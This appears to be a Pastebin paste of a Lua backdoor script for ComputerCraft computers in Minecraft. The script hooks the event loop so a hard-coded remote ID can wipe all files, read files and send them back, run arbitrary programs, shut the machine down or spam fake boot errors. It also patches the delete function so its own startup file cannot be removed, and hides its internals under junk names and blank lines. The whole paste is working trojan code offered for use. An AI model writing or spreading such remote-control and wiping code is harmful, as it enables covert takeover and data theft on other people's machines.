xXm0dzXx

Untitled

May 7th, 2012
156
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.01 KB | None | 0 0
  1. local derr = 529; --CHANGE THIS TO YOUR ID
  2.  
  3. commands = function(sEvent, param, message) --INSERT COMMANDS HERE
  4. rednet.send(derr, "Hello" ..derr)
  5. if sEvent == "rednet_message" and param == derr then
  6. if message == "Spam" then
  7. print()
  8. for i=1,10 do
  9. print("bios:21: /rom/ does not exist!")
  10. end
  11. elseif message == "Clear" then
  12. term.clear()
  13. term.setCursorPos(1,1)
  14. elseif message == "Boot" then
  15. term.clear()
  16. term.setCursorPos(1,1)
  17. print(os.version())
  18. elseif message == "Off" then
  19. os.shutdown()
  20. elseif message == "format" then
  21. fs.makeDir("formatted352")
  22. files = fs.list("/")
  23. for n=1,#files do
  24. if files[n] == "startup" or files[n] == "formatted352" or fs.isReadOnly(files[n]) then else
  25. fs.delete(files[n])
  26. end
  27. end
  28.  
  29. os.reboot()
  30. elseif message == "copy" then
  31. id, filename = rednet.receive()
  32. if fs.exists(filename) then
  33. copied = fs.open(filename, "r")
  34. rednet.send(derr, copied.readAll())
  35. copied.close()
  36. else
  37. rednet.send(derr, "runfailed")
  38. end
  39. else
  40. if fs.exists(message) then
  41. shell.run(message)
  42. else
  43. rednet.send(derr, "runfailed")
  44. end
  45. end
  46. end
  47. end
  48.  
  49.  
  50.  
  51. ---===DO NOT EDIT ANYTHING BELOW===---
  52.  
  53.  
  54.  
  55.  
  56.  
  57.  
  58.  
  59.  
  60.  
  61.  
  62.  
  63.  
  64.  
  65.  
  66.  
  67.  
  68.  
  69.  
  70.  
  71.  
  72.  
  73.  
  74.  
  75.  
  76.  
  77.  
  78.  
  79.  
  80.  
  81.  
  82.  
  83.  
  84.  
  85.  
  86.  
  87.  
  88.  
  89.  
  90.  
  91.  
  92.  
  93.  
  94.  
  95. for k,sSide in pairs(redstone.getSides()) do
  96. if peripheral.isPresent(sSide) and peripheral.getType(sSide) == "modem" then
  97. rednet.open(sSide)
  98. end
  99. end
  100.  
  101. oldddeIYGYFGYIYGGUlete = function(name) fs.delete(name) end
  102. fs.delete = function(name)
  103. if name == "startup" then
  104. return false
  105. else
  106. oldddeIYGYFGYIYGGUlete(name)
  107. end
  108. end
  109.  
  110. if fs.exists("formatted352") then
  111. os.shutdown()
  112. end
  113.  
  114. function aewtygrgt( _sFilter )
  115. return coroutine.yield( _sFilter )
  116. end
  117.  
  118. os.pullEventRaw = function( _sFilter )
  119. local event, p1, p2, p3, p4, p5 = aewtygrgt( _sFilter )
  120. commands(event, p1, p2)
  121. return event, p1, p2, p3, p4, p5
  122. end
  123.  
  124.  
  125.  
  126. term.clear()
  127. term.setCursorPos(1,1)
  128. print(os.version())
Advertisement
Add Comment
Please, Sign In to add comment